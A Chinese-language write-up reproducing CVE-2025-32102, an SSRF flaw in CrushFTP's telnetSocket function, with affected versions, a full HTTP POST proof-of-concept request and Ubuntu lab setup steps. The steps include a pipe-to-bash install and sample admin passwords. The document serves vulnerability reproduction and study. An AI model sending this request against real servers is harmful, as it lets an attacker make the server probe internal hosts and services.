CVE-2025-32102 | Ubuntu 下复现 CrushFTP telnetSocket接口SSRF
目录
- 1. 漏洞描述
- 2. POC
- 3. Ubuntu 搭建环境
1. 漏洞描述
CrushFTP是CrushFTP公司的一款文件传输服务器。
影响版本:CrushFTP 9.x 和 10.x 到 10.8.4 以及 11.x 到 11.3.1
2. POC
POST /WebInterface/function/ HTTP/1.1
Host: 192.168.119.144:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://192.168.119.144:8080/WebInterface/admin/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: currentAuth=DGfv; CrushAuth=1745390781868_uEmj17c4A6ypnRJCnZGXDj7wWEDGfv
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 101command=telnetSocket&sub_command=connect&host=127.0.0.1&port=8080&random=0.17159638175272862&c2f=DGfv
host参数的内容也可以是其他域名,查看域名的DNS解析记录即可确认是否访问成功。
3. Ubuntu 搭建环境
这里选择在 Ubuntu 中搭建 CrushFTP 11。
执行安装脚本:
wget -O - https://www.crushftp.com/crush11wiki/attach/Linux%20Install/configure.sh | bash
记住这个密码:‘crushadmin’ password = m4M7QsAe
(在 configure.sh
中设置了给 crushadmin 用户生成一个随机的密码。这里可以更改这个脚本,让生成的用户的密码是固定的,也可以后面再执行命令更改这个用户的密码。)
查看java版本,CrushFTP11 需要 Java17+:`java --version`
如果版本不符合,则执行下面的命令安装 JDK21:
wget https://download.java.net/java/GA/jdk21.0.1/415e3f918a1f4062a0074a2794853d0d/12/GPL/openjdk-21.0.1_linux-aarch64_bin.tar.gz
tar -xvf openjdk-21.0.1_linux-aarch64_bin.tar.gz
/bin/rm openjdk-21.0.1_linux-aarch64_bin.tar.gz
mv jdk-21* /var/opt/CrushFTP11/Java
进入 CrushFTP 的目录中 /var/opt/CrushFTP11(configure.sh
脚本中设置了将会安装在这个目录中),执行命令检查 init 脚本是否检测到它:./crushftp_init.sh info
启动 CrushFTP:./crushftp_init.sh start
(停止 CrushFTP 的命令:./crushftp_init.sh stop
)
生成 Admin 用户:./Java/bin/java -jar CrushFTP.jar -a "crushadmin" "123456"
这将创建一个新用户,并将其写入默认位置:用户/MainUsers/crushadmin/
现在,通过浏览器登录到管理控制台:
http://your_ip:8080/
https://your_ip:443/用户名:crushadmin
密码:123456